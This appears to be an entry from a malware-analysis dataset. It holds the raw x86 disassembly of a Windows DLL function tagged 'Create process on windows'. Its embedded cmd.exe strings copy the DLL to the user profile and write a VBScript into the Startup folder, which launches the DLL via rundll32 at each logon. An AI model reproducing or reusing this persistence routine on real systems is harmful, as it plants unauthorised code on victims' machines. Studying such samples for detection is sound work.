Function at 0x100015a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003597
mov eax, dword fs:[0]
push eax
sub esp, 0x298
mov eax, dword [0x10006014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x105
lea eax, [ebp - 0x21c]
push eax
push dword [0x10006428]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov dword [ebp - 0x250], 0
lea ecx, [ebp - 0x21c]
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 7
lea edx, [ecx + 2]
mov word [ebp - 0x250], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001615
sub ecx, edx
lea eax, [ebp - 0x21c]
sar ecx, 1
cmp ecx, 7
ja 0x10001655
lea esi, [ecx + ecx]
mov dword [ebp - 0x240], ecx
push esi
push eax
lea eax, [ebp - 0x250]
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [ebp + esi - 0x250], ax
jmp 0x1000166f
push eax
mov byte [ebp - 0x220], 0
push dword [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x250]
call fcn.10002010
mov dword [ebp - 4], 0
lea edx, [ebp - 0x250]
cmp dword [ebp - 0x23c], 8
lea edi, [ebp - 0x250]
mov eax, dword [ebp - 0x240]
lea ecx, [ebp - 0x238]
cmovae edx, dword [ebp - 0x250]
cmovae edi, dword [ebp - 0x250]
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x228], 0
lea eax, [edx + eax*2]
mov dword [ebp - 0x224], 0xf
mov dword [ebp - 0x288], eax
sub eax, edi
sar eax, 1
push eax
mov byte [ebp - 0x238], 0
call fcn.100023e0
lea eax, [ebp - 0x238]
mov dword [ebp - 0x2a4], eax
mov byte [ebp - 4], 1
cmp edi, dword [ebp - 0x288]
je 0x10001765
nop dword [eax]
nop word [eax + eax]
mov dl, byte [edi]
mov ecx, dword [ebp - 0x228]
mov esi, dword [ebp - 0x224]
mov byte [ebp - 0x220], dl
cmp ecx, esi
jae 0x1000173b
lea eax, [ecx + 1]
cmp esi, 0x10
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x238]
cmovae eax, dword [ebp - 0x238]
mov byte [eax + ecx], dl
mov byte [eax + ecx + 1], 0
jmp 0x1000175a
push dword [ebp - 0x220]
mov byte [ebp - 0x284], 0
push dword [ebp - 0x284]
push ecx
lea ecx, [ebp - 0x238]
call fcn.10002140
add edi, 2
cmp edi, dword [ebp - 0x288]
jne 0x10001700
mov byte [ebp - 4], 2
mov eax, 0x7fffffff
mov ecx, dword [ebp - 0x228]
sub eax, ecx
mov dword [ebp - 0x220], ecx
cmp eax, 9
jb 0x10001be5
cmp dword [ebp - 0x224], 0x10
lea eax, [ebp - 0x238]
lea edx, [ecx + 9]
mov dword [ebp - 0x2a0], 0
cmovae eax, dword [ebp - 0x238]
lea edi, [ebp - 0x2a0]
mov esi, 0xf
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x288], edx
cmp edx, esi
jbe 0x10001869
mov eax, 0x10
mov esi, edx
cmp edx, eax
cmovb esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x100017f7
mov esi, 0x7fffffff
jmp 0x10001801
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
xor ecx, ecx
mov eax, esi
add eax, 1
setb cl
neg ecx
or ecx, eax
cmp ecx, 0x1000
jb 0x10001844
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x10001bea
push eax
call fcn.10002774
add esp, 4
test eax, eax
je 0x1000196a
mov edx, dword [ebp - 0x288]
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x1000185d
test ecx, ecx
je 0x1000185b
push ecx
call fcn.10002774
mov edx, dword [ebp - 0x288]
add esp, 4
mov edi, eax
jmp 0x1000185d
xor edi, edi
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x2a0], edi
movq xmm0, qword [str._c_copy__]
mov dword [ebp - 0x290], edx
mov dword [ebp - 0x28c], esi
movq qword [edi], xmm0
mov al, byte [0x10004278]
push ecx
push dword [ebp - 0x284]
mov byte [edi + 8], al
lea eax, [edi + 9]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x220]
add esp, 0xc
mov byte [edi + eax + 9], 0
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x28c]
mov eax, edx
mov ecx, dword [ebp - 0x290]
sub eax, ecx
push 0x1a
cmp eax, 0x1a
jb 0x100018f7
cmp edx, 0x10
lea esi, [ebp - 0x2a0]
lea eax, [ecx + 0x1a]
cmovae esi, dword [ebp - 0x2a0]
add esi, ecx
mov dword [ebp - 0x290], eax
push str.____userprofile_help.dll_
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x1a], 0
lea eax, [ebp - 0x2a0]
jmp 0x10001912
push ecx
mov byte [ebp - 0x284], 0
lea ecx, [ebp - 0x2a0]
push dword [ebp - 0x284]
push 0x1a
call fcn.10002280
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x280], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x270], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x28c]
cmp ecx, 0x10
jb 0x1000197a
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001970
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001970
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002743
add esp, 8
lea eax, [ebp - 0x280]
mov dword [ebp - 0x290], 0
push eax
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x28c], 0xf
mov byte [ebp - 0x2a0], 0
call fcn.10001e00
cmp dword [ebp - 0x254], 0x10
lea eax, [ebp - 0x268]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmovae eax, dword [ebp - 0x268]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call esi
mov ecx, dword [ebp - 0x254]
cmp ecx, 0x10
jb 0x10001a10
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001a06
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001a06
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002743
add esp, 8
push 0xd0
mov dword [ebp - 0x268], 0
lea ecx, [ebp - 0x268]
push str._c_echo_Dim_ohell:Set_ohell__WScript.CreateObject___WScript.Shell__:ohell.run__rundll32__userprofile_help.dll_myfun_:Set_ohell__Nothing_____appdata_MicrosoftWindowsStart_MenuProgramsStartupStart.vbs_
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x254], 0xf
mov byte [ebp - 0x268], 0
call fcn.10001ed0
lea eax, [ebp - 0x268]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x2a0]
call fcn.10001e00
cmp dword [ebp - 0x28c], 0x10
lea eax, [ebp - 0x2a0]
push 0
cmovae eax, dword [ebp - 0x2a0]
push 0
push eax
push str.cmd.exe
push str.open
push 0
call esi
mov ecx, dword [ebp - 0x28c]
cmp ecx, 0x10
jb 0x10001ac3
mov edx, dword [ebp - 0x2a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001ab9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001ab9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002743
add esp, 8
mov ecx, dword [ebp - 0x254]
cmp ecx, 0x10
jb 0x10001afd
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001af3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001bba
push ecx
push edx
call fcn.10002743
add esp, 8
mov ecx, dword [ebp - 0x26c]
cmp ecx, 0x10
jb 0x10001b37
mov edx, dword [ebp - 0x280]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001bba
push ecx
push edx
call fcn.10002743
add esp, 8
mov ecx, dword [ebp - 0x224]
cmp ecx, 0x10
jb 0x10001b6d
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001bba
push ecx
push edx
call fcn.10002743
add esp, 8
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
cmp ecx, 8
jb 0x10001bca
mov edx, dword [ebp - 0x250]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001bc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001bc0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002743
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002735
mov esp, ebp
pop ebp
ret
call fcn.10001170
call fcn.100010d0
int3